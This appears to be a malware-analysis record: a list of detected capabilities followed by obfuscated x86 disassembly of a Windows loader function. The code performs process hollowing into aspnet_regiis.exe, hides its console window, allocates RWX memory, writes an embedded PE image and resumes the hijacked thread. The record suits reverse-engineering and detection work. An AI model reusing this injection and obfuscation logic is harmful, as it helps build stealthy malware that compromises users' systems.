Function at 0x10003f30
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x17c
mov eax, dword [0x1006d800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x184], 0xe766c400
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0x188], eax
sub eax, 0x80e9dd31
je 0x10006eb4
jmp 0x10003f6c
mov eax, dword [ebp - 0x188]
sub eax, 0x82449bc9
je 0x100074ae
jmp 0x10003f82
mov eax, dword [ebp - 0x188]
sub eax, 0x82ba75ef
je 0x100062c6
jmp 0x10003f98
mov eax, dword [ebp - 0x188]
sub eax, 0x84204e02
je 0x100066bf
jmp 0x10003fae
mov eax, dword [ebp - 0x188]
sub eax, 0x843e8b37
je 0x10007133
jmp 0x10003fc4
mov eax, dword [ebp - 0x188]
sub eax, 0x8735517d
je 0x100069e8
jmp 0x10003fda
mov eax, dword [ebp - 0x188]
sub eax, 0x88a39d0f
je 0x10006fa4
jmp 0x10003ff0
mov eax, dword [ebp - 0x188]
sub eax, 0x88eafd7e
je 0x100052c7
jmp 0x10004006
mov eax, dword [ebp - 0x188]
sub eax, 0x8e525240
je 0x10006677
jmp 0x1000401c
mov eax, dword [ebp - 0x188]
sub eax, 0x90bc49e8
je 0x1000610b
jmp 0x10004032
mov eax, dword [ebp - 0x188]
sub eax, 0x91afcd5b
je 0x10006903
jmp 0x10004048
mov eax, dword [ebp - 0x188]
sub eax, 0x9221b1ae
je 0x10004d72
jmp 0x1000405e
mov eax, dword [ebp - 0x188]
sub eax, 0x9316db76
je 0x100051d3
jmp 0x10004074
mov eax, dword [ebp - 0x188]
sub eax, 0x939316b7
je 0x10004ef6
jmp 0x1000408a
mov eax, dword [ebp - 0x188]
sub eax, 0x94701d03
je 0x10007601
jmp 0x100040a0
mov eax, dword [ebp - 0x188]
sub eax, 0x95d692f1
je 0x10005e2b
jmp 0x100040b6
mov eax, dword [ebp - 0x188]
sub eax, 0x98010e71
je 0x10005119
jmp 0x100040cc
mov eax, dword [ebp - 0x188]
sub eax, 0x99961a7c
je 0x10005e0a
jmp 0x100040e2
mov eax, dword [ebp - 0x188]
sub eax, 0x9a0bc46e
je 0x100058d4
jmp 0x100040f8
mov eax, dword [ebp - 0x188]
sub eax, 0x9b899611
je 0x100053e7
jmp 0x1000410e
mov eax, dword [ebp - 0x188]
sub eax, 0x9bc45012
je 0x10007514
jmp 0x10004124
mov eax, dword [ebp - 0x188]
sub eax, 0xa3603a71
je 0x10006f53
jmp 0x1000413a
mov eax, dword [ebp - 0x188]
sub eax, 0xa41f37e0
je 0x10005fff
jmp 0x10004150
mov eax, dword [ebp - 0x188]
sub eax, 0xa4b003f8
je 0x1000623e
jmp 0x10004166
mov eax, dword [ebp - 0x188]
sub eax, 0xa50a1e24
je 0x100072ec
jmp 0x1000417c
mov eax, dword [ebp - 0x188]
sub eax, 0xa7b1f182
je 0x10006e32
jmp 0x10004192
mov eax, dword [ebp - 0x188]
sub eax, 0xa858089e
je 0x1000630f
jmp 0x100041a8
mov eax, dword [ebp - 0x188]
sub eax, 0xa9a78bf2
je 0x1000586f
jmp 0x100041be
mov eax, dword [ebp - 0x188]
sub eax, 0xacfe0757
je 0x1000622f
jmp 0x100041d4
mov eax, dword [ebp - 0x188]
sub eax, 0xad2b5e29
je 0x10005fa7
jmp 0x100041ea
mov eax, dword [ebp - 0x188]
sub eax, 0xadccd34a
je 0x100071ca
jmp 0x10004200
mov eax, dword [ebp - 0x188]
sub eax, 0xaf12f47a
je 0x10005b19
jmp 0x10004216
mov eax, dword [ebp - 0x188]
sub eax, 0xaf6adfaa
je 0x10004e74
jmp 0x1000422c
mov eax, dword [ebp - 0x188]
sub eax, 0xb1ffb8b5
je 0x10007529
jmp 0x10004242
mov eax, dword [ebp - 0x188]
sub eax, 0xb382b786
je 0x10007282
jmp 0x10004258
mov eax, dword [ebp - 0x188]
sub eax, 0xb431569d
je 0x100062a5
jmp 0x1000426e
mov eax, dword [ebp - 0x188]
sub eax, 0xb9eb25f8
je 0x10006381
jmp 0x10004284
mov eax, dword [ebp - 0x188]
sub eax, 0xbc14daad
je 0x1000612c
jmp 0x1000429a
mov eax, dword [ebp - 0x188]
sub eax, 0xbc1fb55c
je 0x10007291
jmp 0x100042b0
mov eax, dword [ebp - 0x188]
sub eax, 0xbc771e21
je 0x10006b9f
jmp 0x100042c6
mov eax, dword [ebp - 0x188]
sub eax, 0xc12f9ef0
je 0x10006e8a
jmp 0x100042dc
mov eax, dword [ebp - 0x188]
sub eax, 0xc718a188
je 0x1000744d
jmp 0x100042f2
mov eax, dword [ebp - 0x188]
sub eax, 0xc7d131f6
je 0x10006a5b
jmp 0x10004308
mov eax, dword [ebp - 0x188]
sub eax, 0xcbb1a8f7
je 0x100073c3
jmp 0x1000431e
mov eax, dword [ebp - 0x188]
sub eax, 0xcc3382ab
je 0x10006e7b
jmp 0x10004334
mov eax, dword [ebp - 0x188]
sub eax, 0xcc4dbf20
je 0x10006b4e
jmp 0x1000434a
mov eax, dword [ebp - 0x188]
sub eax, 0xce7d1fdf
je 0x10004f2f
jmp 0x10004360
mov eax, dword [ebp - 0x188]
sub eax, 0xd1cf508d
je 0x10004fd5
jmp 0x10004376
mov eax, dword [ebp - 0x188]
sub eax, 0xd3164727
je 0x1000709f
jmp 0x1000438c
mov eax, dword [ebp - 0x188]
sub eax, 0xd4581534
je 0x10006dad
jmp 0x100043a2
mov eax, dword [ebp - 0x188]
sub eax, 0xd5b2176d
je 0x10007502
jmp 0x100043b8
mov eax, dword [ebp - 0x188]
sub eax, 0xdad069b5
je 0x100064e1
jmp 0x100043ce
mov eax, dword [ebp - 0x188]
sub eax, 0xdc004fba
je 0x1000554d
jmp 0x100043e4
mov eax, dword [ebp - 0x188]
sub eax, 0xdc87583e
je 0x10005722
jmp 0x100043fa
mov eax, dword [ebp - 0x188]
sub eax, 0xdd186c5b
je 0x1000617d
jmp 0x10004410
mov eax, dword [ebp - 0x188]
sub eax, 0xe0478735
je 0x10007402
jmp 0x10004426
mov eax, dword [ebp - 0x188]
sub eax, 0xe1a45f36
je 0x10005bcf
jmp 0x1000443c
mov eax, dword [ebp - 0x188]
sub eax, 0xe1cfe1dc
je 0x10005623
jmp 0x10004452
mov eax, dword [ebp - 0x188]
sub eax, 0xe3ab1066
je 0x10005860
jmp 0x10004468
mov eax, dword [ebp - 0x188]
sub eax, 0xe3cbdcff
je 0x10005d11
jmp 0x1000447e
mov eax, dword [ebp - 0x188]
sub eax, 0xe40425a1
je 0x10005318
jmp 0x10004494
mov eax, dword [ebp - 0x188]
sub eax, 0xe63e2fb2
je 0x10005d39
jmp 0x100044aa
mov eax, dword [ebp - 0x188]
sub eax, 0xe766c400
je 0x10004d1b
jmp 0x100044c0
mov eax, dword [ebp - 0x188]
sub eax, 0xe94168bc
je 0x10007471
jmp 0x100044d6
mov eax, dword [ebp - 0x188]
sub eax, 0xea40f2fb
je 0x100057bc
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
push eax
mov eax, esp
mov dword [ebp - 0x124], eax
mov dword [ebp - 0x184], 0x9221b1ae
jmp 0x10007647
push eax
mov eax, esp
mov dword [ebp - 0x120], eax
push eax
mov eax, esp
mov dword [ebp - 0x11c], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100011f0
add esp, 4
lea eax, [0x100141e1]
sub esp, 4
mov dword [esp], eax
call fcn.100011f0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x52800
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x148], eax
mov eax, dword [ebp - 0x148]
movzx edx, word [eax]
mov eax, 0x635ba0ac
mov ecx, 0x4e2ba502
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0x118], eax
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
add edx, 0x5a8dbcff
sub edx, 1
sub edx, 0x5a8dbcff
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3c997776
mov ecx, 0x939316b7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov dword [ebp - 0x184], 0x2549ef2e
jmp 0x10007647
mov eax, dword [ebp - 0x114]
mov dword [ebp - 0x14c], eax
mov edx, dword [ebp - 0x14c]
mov eax, 0xcc05d5f
mov ecx, 0x65e95b5
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10008ae0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10008ae0
add esp, 0xc
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0xe8]
mov dword [ebp - 0x110], eax
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0xe86f6ea0
sub edx, 1
sub edx, 0xe86f6ea0
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xadccd34a
mov ecx, 0x12663bb1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
lea eax, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x184], 0x3ddf71c6
jmp 0x10007647
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x778e0f48
mov ecx, 0x15dd64df
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
sub edx, 0x8759e083
sub edx, 1
add edx, 0x8759e083
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb382b786
mov ecx, 0xe40425a1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
add edx, 0xc99d09db
sub edx, 1
sub edx, 0xc99d09db
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb382b786
mov ecx, 0x29149984
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x104]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0xa4]
mov dword [ebp - 0x160], eax
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x164], eax
mov eax, 0x1b481095
mov ecx, 0xe1cfe1dc
cmp dword [ebp - 0x164], 0
cmovge eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
sub edx, 0x6d2d88e5
sub edx, 1
add edx, 0x6d2d88e5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7ed50967
mov ecx, 0xf19d9b57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0x54]
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x144]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0x184], 0xf6f10c82
jmp 0x10007647
mov eax, dword [ebp - 0x168]
imul ecx, dword [ebp - 0x16c], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x168]
imul edx, dword [ebp - 0x16c], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x14]
sub eax, 0xdcb8b47
add eax, ecx
add eax, 0xdcb8b47
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x184], 0x5527ecc5
jmp 0x10007647
mov dword [ebp - 0x184], 0xa9a78bf2
jmp 0x10007647
mov eax, dword [ebp - 0x16c]
sub eax, 0x96a8f80f
add eax, 1
add eax, 0x96a8f80f
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x184], 0x4ef59608
jmp 0x10007647
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x178], 0
mov dword [ebp - 0x184], 0x32ce827c
jmp 0x10007647
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6525ca79
mov ecx, 0x58e18c35
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x58f2f15e
mov ecx, 0x348397a5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0xc0]
sub eax, 0x9ead39f1
add eax, 1
add eax, 0x9ead39f1
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x184], 0x32ce827c
jmp 0x10007647
mov eax, dword [ebp - 0x160]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x184], 0x5aa3bbc
jmp 0x10007647
mov dl, byte [ebp - 0xb5]
mov eax, 0x6f60c65e
mov ecx, 0x95d692f1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0xb4], eax
mov eax, dword [ebp - 0x14c]
add eax, 0x18
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0x184], 0x501825fe
jmp 0x10007647
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2bb4966e
mov ecx, 0x1c074fcc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0x184], 0x66dca54a
jmp 0x10007647
mov dl, byte [ebp - 0xa2]
mov eax, 0xf667f483
mov ecx, 0xbc14daad
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0x3e55dd41
sub edx, 1
sub edx, 0x3e55dd41
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe0478735
mov ecx, 0xdd186c5b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x170]
sub eax, 0x870460e2
add eax, 8
add eax, 0x870460e2
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x170]
mov ecx, dword [eax + 4]
add ecx, 0x4e55d379
sub ecx, 8
sub ecx, 0x4e55d379
shr ecx, 1
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
add edx, 0x57a01ee9
sub edx, 1
sub edx, 0x57a01ee9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe0478735
mov ecx, 0xacfe0757
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov dword [ebp - 0x184], 0xa4b003f8
jmp 0x10007647
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax + 0x34]
add ecx, 0x30d411d6
sub ecx, eax
sub ecx, 0x30d411d6
mov eax, dword [ebp - 0x13c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x138]
mov dword [eax], 0
mov dword [ebp - 0x184], 0x7fff8c82
jmp 0x10007647
mov dl, byte [ebp - 0xa1]
mov eax, 0x6cab8f4
mov ecx, 0x82ba75ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc718a188
mov ecx, 0xa858089e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x138]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0xa0], eax
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc718a188
mov ecx, 0xb9eb25f8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov dword [ebp - 0x184], 0x33692e2a
jmp 0x10007647
mov dword [ebp - 0x184], 0x324d24ae
jmp 0x10007647
mov dword [ebp - 0x184], 0x5a1396f6
jmp 0x10007647
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
sub eax, 0x6eff7742
add eax, ecx
add eax, 0x6eff7742
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x184], 0xa41f37e0
jmp 0x10007647
mov eax, dword [ebp - 0x8c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x90]
lea eax, [ebp - 0x68]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x14c]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x85], al
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
sub edx, 0xfd95d89f
sub edx, 1
add edx, 0xfd95d89f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xebd5b062
mov ecx, 0x4462f2f9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x144]
mov ecx, dword [ebp - 0x14c]
add eax, dword [ecx + 0xc0]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x184], 0x4d8cff0f
jmp 0x10007647
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
add edx, 0x1c82ed99
sub edx, 1
sub edx, 0x1c82ed99
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd5b2176d
mov ecx, 0x25982a10
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
sub edx, 0xadc67aa8
sub edx, 1
add edx, 0xadc67aa8
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9bc45012
mov ecx, 0xbc771e21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x78], eax
mov eax, dword [ebp - 0x14c]
add eax, 0x18
mov dword [ebp - 0x74], eax
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
sub edx, 0x41a2f4b7
sub edx, 1
add edx, 0x41a2f4b7
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x9bc45012
mov ecx, 0x2c34ad4d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov dword [ebp - 0x184], 0x2a354e09
jmp 0x10007647
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x578fd6c7
mov ecx, 0xcc3382ab
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov dword [ebp - 0x184], 0xc12f9ef0
jmp 0x10007647
mov eax, dword [ebp - 0x68]
mov ecx, dword [ebp - 0x14c]
mov ecx, dword [ecx + 0x28]
sub eax, 0x5c0d590
add eax, ecx
add eax, 0x5c0d590
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x184], 0x80e9dd31
jmp 0x10007647
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x70]
mov dword [eax + 0xb0], ecx
mov eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call sub.ntdll.dll_NtSetContextThread
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call sub.ntdll.dll_NtResumeThread
mov dword [ebp - 0x184], 0x5e0aee6
jmp 0x10007647
mov eax, dword [0x1006eb38]
mov ecx, dword [0x1006eb34]
mov edx, eax
add edx, 0x76406c4b
sub edx, 1
sub edx, 0x76406c4b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x94701d03
mov ecx, 0x88a39d0f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
mov dword [ebp - 0x184], 0x6288dfd9
jmp 0x10007647
mov dword [ebp - 0x184], 0xcc05d5f
jmp 0x10007647
mov ecx, dword [0x1006eb38]
mov eax, dword [0x1006eb34]
mov edx, ecx
sub edx, 0x8c44ae22
sub edx, 1
add edx, 0x8c44ae22
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x70528512
mov ecx, 0x4b524384
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x184], eax
jmp 0x10007647
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 0x2cc
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
mov dword [eax], 0x10007
lea eax, [ebp - 0x20]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10008ae0
add esp, 0xc
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10008ae0
add esp, 0xc
mov dword [ebp - 0x184], 0xd1cf508d
jmp 0x10007647
mov dword [ebp - 0x184], 0xe40425a1
jmp 0x10007647
mov dword [ebp - 0x68], 0
mov edx, dword [ebp - 0x20]
lea ecx, [ebp - 0x68]
xor eax, eax
lea eax, [ebp - 0x6c]
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x184], 0x14dc2933
jmp 0x10007647
mov edx, dword [ebp - 0x68]
mov eax, dword [ebp - 0x168]
imul ecx, dword [ebp - 0x16c], 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
